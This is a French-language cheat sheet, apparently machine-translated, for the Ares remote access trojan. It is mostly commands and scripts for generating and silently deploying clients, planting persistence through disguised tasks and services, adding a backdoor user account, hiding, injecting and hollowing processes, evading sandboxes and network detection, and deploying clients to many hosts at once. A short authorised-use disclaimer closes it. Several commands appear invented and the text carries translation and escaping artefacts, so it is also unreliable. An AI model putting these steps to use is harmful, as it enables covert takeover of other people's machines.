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Arès RAT Feuille de chaleur

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Aperçu général

Ares RAT (Remote Access Tool) est un outil d'administration à distance basé sur Python qui fournit un contrôle complet sur les systèmes cibles via une interface Web. Développé en tant que projet open-source, Ares RAT propose une approche moderne de la gestion du système à distance et des tests de pénétration avec son interface web intuitive et son ensemble de fonctionnalités étendu. L'outil est conçu pour faciliter les tâches légitimes d'administration du système tout en servant de précieux atouts pour les professionnels de la sécurité qui effectuent des tests de pénétration autorisés et des opérations de l'équipe rouge.

L'architecture d'Ares RAT se compose d'un client Python léger qui établit des connexions à un composant serveur centralisé. Le serveur fournit un tableau de bord Web qui permet aux opérateurs de gérer simultanément plusieurs clients connectés, d'exécuter des commandes, de transférer des fichiers et de surveiller les activités du système. Cette conception rend Ares RAT particulièrement adapté aux scénarios nécessitant la gestion de systèmes multiples compromis ou à des fins éducatives dans des environnements de laboratoire contrôlés.

Ares RAT se distingue par son accent sur la facilité d'utilisation et la flexibilité de déploiement. L'implémentation basée sur Python assure la compatibilité multiplateforme, tandis que l'interface web élimine le besoin de logiciel client spécialisé pour les opérateurs. L'outil comprend des fonctionnalités pour la persistance, l'opération furtive et la reconnaissance complète du système, ce qui en fait une plate-forme polyvalente pour l'entraînement de sécurité défensive et les opérations offensives de sécurité.

Installation

Installation du serveur

Configuration du composant serveur Ares RAT :

# Clone Ares RAT repository
git clone https://github.com/sweetsoftware/Ares.git
cd Ares

# Install Python dependencies
pip3 install -r requirements.txt

# Install additional dependencies
pip3 install flask flask-socketio eventlet

# Set up database
python3 setup_database.py

# Configure server settings
cp config.example.py config.py
nano config.py

Génération de clients

Générer des clients Arès RAT pour le déploiement :

# Generate basic client
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate Windows executable
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform windows --output client.exe

# Generate Linux client
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform linux --output client

# Generate with custom settings
python3 generate_client.py --server 192.168.1.100 --port 8080 --delay 30 --persistence

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key_here"
```_

### Déploiement Docker

```bash
# Build Ares RAT container
docker build -t ares-rat .

# Run server container
docker run -d -p 8080:8080 -p 443:443 --name ares-server ares-rat

# Run with persistent storage
docker run -d -p 8080:8080 -v /host/data:/app/data --name ares-server ares-rat

# Access container logs
docker logs ares-server

# Execute commands in container
docker exec -it ares-server /bin/bash
```_

## Utilisation de base

### Gestion des serveurs

Démarrer et gérer le serveur Ares RAT :

```bash
# Start Ares RAT server
python3 ares_server.py --host 0.0.0.0 --port 8080

# Start with SSL/TLS
python3 ares_server.py --host 0.0.0.0 --port 443 --ssl --cert server.crt --key server.key

# Start with authentication
python3 ares_server.py --host 0.0.0.0 --port 8080 --auth --username admin --password secure_pass

# Start in debug mode
python3 ares_server.py --host 0.0.0.0 --port 8080 --debug

# Start with custom database
python3 ares_server.py --host 0.0.0.0 --port 8080 --database /path/to/custom.db

Accès à l'interface Web

Accès à l'interface web Ares RAT :

# Access web interface
http://192.168.1.100:8080

# Access with HTTPS
https://192.168.1.100:443

# Login with credentials
Username: admin
Password: [configured_password]

# API access
curl -X GET http://192.168.1.100:8080/api/clients -H "Authorization: Bearer [token]"

Déploiement des clients

Déployer des clients Arès RAT sur des systèmes cibles :

# Deploy via PowerShell (Windows)
powershell -ExecutionPolicy Bypass -File deploy_client.ps1

# Deploy via bash (Linux)
bash deploy_client.sh

# Deploy via Python
python3 client.py --server 192.168.1.100 --port 8080

# Deploy with persistence
python3 client.py --server 192.168.1.100 --port 8080 --persist

# Deploy silently
python3 client.py --server 192.168.1.100 --port 8080 --silent

Caractéristiques avancées

Exécution des commandes

Exécution des commandes Arès RAT :

# Execute system command
ares> execute "whoami"

# Execute PowerShell command (Windows)
ares> powershell "Get-Process"

# Execute with elevated privileges
ares> execute_elevated "net user hacker password123 /add"

# Execute in background
ares> execute_background "ping -t google.com"

# Execute Python script
ares> execute_python "import os; print(os.getcwd())"

Opérations de fichiers

Gestion des fichiers par Arès RAT :

# Upload file to target
ares> upload /local/path/file.txt C:\temp\file.txt

# Download file from target
ares> download C:\temp\data.txt /local/path/data.txt

# List directory contents
ares> list_directory C:\Users\

# Create directory
ares> create_directory C:\temp\new_folder

# Delete file
ares> delete_file C:\temp\unwanted.txt

# Copy file
ares> copy_file C:\source.txt C:\destination.txt

Informations sur le système

Collecte d'informations sur le système:

# Get system information
ares> system_info

# Get network information
ares> network_info

# Get process list
ares> process_list

# Get installed software
ares> installed_software

# Get user accounts
ares> user_accounts

# Get system services
ares> services_list

Mécanismes de persistance

Établir la persistance :

# Registry persistence (Windows)
ares> persist_registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "AresClient"

# Scheduled task persistence
ares> persist_task --name "SystemUpdate" --trigger startup

# Service persistence
ares> persist_service --name "AresService" --display "System Update Service"

# Startup folder persistence
ares> persist_startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# Cron job persistence (Linux)
ares> persist_cron --schedule "*/5 * * * *" --command "/path/to/client"

Vol et évacuation

Gestion des processus

Gestion de la visibilité des processus :

# Hide process
ares> hide_process

# Migrate to different process
ares> migrate_process explorer.exe

# Inject into process
ares> inject_process notepad.exe

# Create hollow process
ares> hollow_process svchost.exe

# Set process priority
ares> set_priority low

Évasion du réseau

Mise en œuvre de techniques d'évasion en réseau:

# Use proxy for communications
ares> set_proxy 192.168.1.50:3128

# Enable domain fronting
ares> set_domain_front cdn.cloudflare.com

# Randomize User-Agent
ares> set_user_agent random

# Set custom headers
ares> set_headers "X-Custom: value"

# Enable traffic encryption
ares> enable_encryption AES256

Anti-analyse

Mise en œuvre des techniques anti-analyse:

# Detect virtual machines
ares> detect_vm

# Detect sandboxes
ares> detect_sandbox

# Detect debuggers
ares> detect_debugger

# Check for analysis tools
ares> detect_analysis_tools

# Implement delays
ares> set_delay 60-300

Scripts d'automatisation

Déploiement massif

#!/bin/bash
# Ares RAT mass deployment script

SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

echo "Starting Ares RAT mass deployment"

# Generate client for each target
while IFS= read -r target; do
    echo "Deploying to $target"

    # Generate custom client
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy via SSH
    scp ares_client.py user@$target:/tmp/
    ssh user@$target "cd /tmp && python3 ares_client.py --server $SERVER_IP --port $SERVER_PORT &"

    echo "Deployed to $target successfully"
    sleep 5
done < "$TARGET_LIST"

echo "Mass deployment completed"

Automatisation des commandes

#!/usr/bin/env python3
# Ares RAT command automation

import requests
import json
import time

class AresAutomation:
    def __init__(self, server_url, auth_token):
        self.server_url = server_url
        self.auth_token = auth_token
        self.headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    def get_clients(self):
        """Get list of connected clients"""
        response = requests.get(f"\\\\{self.server_url\\\\}/api/clients", headers=self.headers)
        return response.json()

    def execute_command(self, client_id, command):
        """Execute command on specific client"""
        data = \\\\{"command": command\\\\}
        response = requests.post(f"\\\\{self.server_url\\\\}/api/clients/\\\\{client_id\\\\}/execute",
                               json=data, headers=self.headers)
        return response.json()

    def mass_execute(self, command):
        """Execute command on all clients"""
        clients = self.get_clients()
        results = \\\\{\\\\}

        for client in clients:
            client_id = client['id']
            result = self.execute_command(client_id, command)
            results[client_id] = result
            time.sleep(1)

        return results

# Usage example
if __name__ == "__main__":
    automation = AresAutomation("http://192.168.1.100:8080", "your_auth_token")

    # Execute command on all clients
    results = automation.mass_execute("whoami")

    for client_id, result in results.items():
        print(f"Client \\\\{client_id\\\\}: \\\\{result\\\\}")

Scénario de suivi

#!/usr/bin/env python3
# Ares RAT monitoring script

import requests
import time
import json
from datetime import datetime

def monitor_ares_activity():
    """Monitor Ares RAT activity"""

    server_url = "http://192.168.1.100:8080"
    auth_token = "your_auth_token"
    headers = \\\\{"Authorization": f"Bearer \\\\{auth_token\\\\}"\\\\}

    while True:
        try:
            # Get server status
            response = requests.get(f"\\\\{server_url\\\\}/api/status", headers=headers)

            if response.status_code == 200:
                data = response.json()

                print(f"[\\\\{datetime.now()\\\\}] Server Status:")
                print(f"  Active clients: \\\\{data['active_clients']\\\\}")
                print(f"  Total commands: \\\\{data['total_commands']\\\\}")
                print(f"  Uptime: \\\\{data['uptime']\\\\}")

                # Get client details
                clients_response = requests.get(f"\\\\{server_url\\\\}/api/clients", headers=headers)
                clients = clients_response.json()

                for client in clients:
                    print(f"  Client \\\\{client['id']\\\\}: \\\\{client['hostname']\\\\} - \\\\{client['last_seen']\\\\}")

                print("-" * 50)

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_ares_activity()

Exemples d'intégration

SIEM Intégration

#!/usr/bin/env python3
# Ares RAT SIEM integration

import requests
import json
import syslog

def send_to_siem(event_data):
    """Send Ares RAT events to SIEM"""

    # Splunk integration
    splunk_url = "https://splunk.company.com:8088/services/collector"
    splunk_token = "your_splunk_token"

    headers = \\\\{
        "Authorization": f"Splunk \\\\{splunk_token\\\\}",
        "Content-Type": "application/json"
    \\\\}

    splunk_event = \\\\{
        "event": event_data,
        "sourcetype": "ares_rat",
        "source": "ares_server"
    \\\\}

    response = requests.post(splunk_url, json=splunk_event, headers=headers)

    # Syslog integration
    syslog.openlog("AresRAT")
    syslog.syslog(syslog.LOG_INFO, json.dumps(event_data))
    syslog.closelog()

# Usage
event = \\\\{
    "timestamp": "2024-01-01T12:00:00Z",
    "client_id": "client_001",
    "action": "command_executed",
    "command": "whoami",
    "result": "DOMAIN\\user"
\\\\}

send_to_siem(event)

Renseignements sur les menaces Intégration

#!/usr/bin/env python3
# Ares RAT threat intelligence integration

import requests
import hashlib

def check_threat_intel(ioc, ioc_type):
    """Check IOC against threat intelligence sources"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    if ioc_type == "hash":
        url = f"https://www.virustotal.com/vtapi/v2/file/report"
        params = \\\\{"apikey": vt_api_key, "resource": ioc\\\\}
    elif ioc_type == "ip":
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

    response = requests.get(url, params=params)

    if response.status_code == 200:
        data = response.json()
        return data

    return None

# Check client binary hash
client_hash = hashlib.sha256(open("ares_client.py", "rb").read()).hexdigest()
threat_data = check_threat_intel(client_hash, "hash")

if threat_data and threat_data.get("positives", 0) > 0:
    print(f"Warning: Client detected by \\\\{threat_data['positives']\\\\} engines")

Dépannage

Problèmes de connexion

# Test server connectivity
curl -v http://192.168.1.100:8080/api/status

# Check port accessibility
telnet 192.168.1.100 8080

# Verify firewall rules
sudo iptables -L|grep 8080

# Check DNS resolution
nslookup ares-server.domain.com

# Test with different protocols
curl -k https://192.168.1.100:443/api/status

Questions concernant les clients

# Debug client connection
python3 ares_client.py --server 192.168.1.100 --port 8080 --debug

# Check client logs
tail -f /tmp/ares_client.log

# Verify client configuration
python3 -c "import ares_client; print(ares_client.config)"

# Test manual connection
python3 -c "
import socket
s = socket.socket()
s.connect(('192.168.1.100', 8080))
print('Connection successful')
s.close()
"

Problèmes de performance

# Monitor server resources
top -p $(pgrep ares_server)

# Check memory usage
ps aux|grep ares

# Monitor network connections
netstat -an|grep 8080

# Check disk space
df -h

# Monitor database size
du -sh ares.db

Considérations en matière de sécurité

Sécurité opérationnelle

Sécurité du serveur : - Utiliser de solides identifiants d'authentification - Activer le chiffrement HTTPS/TLS - Mettre en œuvre la liste blanche IP - Mises à jour régulières de sécurité - Surveiller les journaux d'accès

Sécurité du client: - Utiliser des communications chiffrées - Mettre en œuvre des techniques anti-analyse - Mise à jour régulière de la charge utile - Suppression sécurisée des artefacts - Surveillance de détection

Sécurité du réseau: - Utiliser des VPN ou des proxys pour le trafic C2 - Mettre en œuvre le frontage du domaine - Randomiser les modes de communication - Surveiller les anomalies du réseau - Utiliser un trafic légitime

Considérations juridiques et éthiques

Utilisation autorisée seulement: - Obtenir une autorisation écrite appropriée - Définir clairement la portée et les limites - Documenter toutes les activités - Suivre la divulgation responsable - Respecter la vie privée et la confidentialité

** Conformité :** - Suivre les lois et règlements applicables - Mettre en œuvre des mesures de protection des données - Maintenir les pistes de vérification - Examens périodiques de la conformité - Procédures de réponse aux incidents

Références

  1. [Ares RAT GitHub Repository] (LINK_5)
  2. Outils d'accès à distance Python
  3. [Cadres C2 basés sur le Web] (LINK_5)
  4. [Sécurité de l'administration à distance] (LINK_5)
  5. [Cadres d'essais de pénétration] (LINK_5)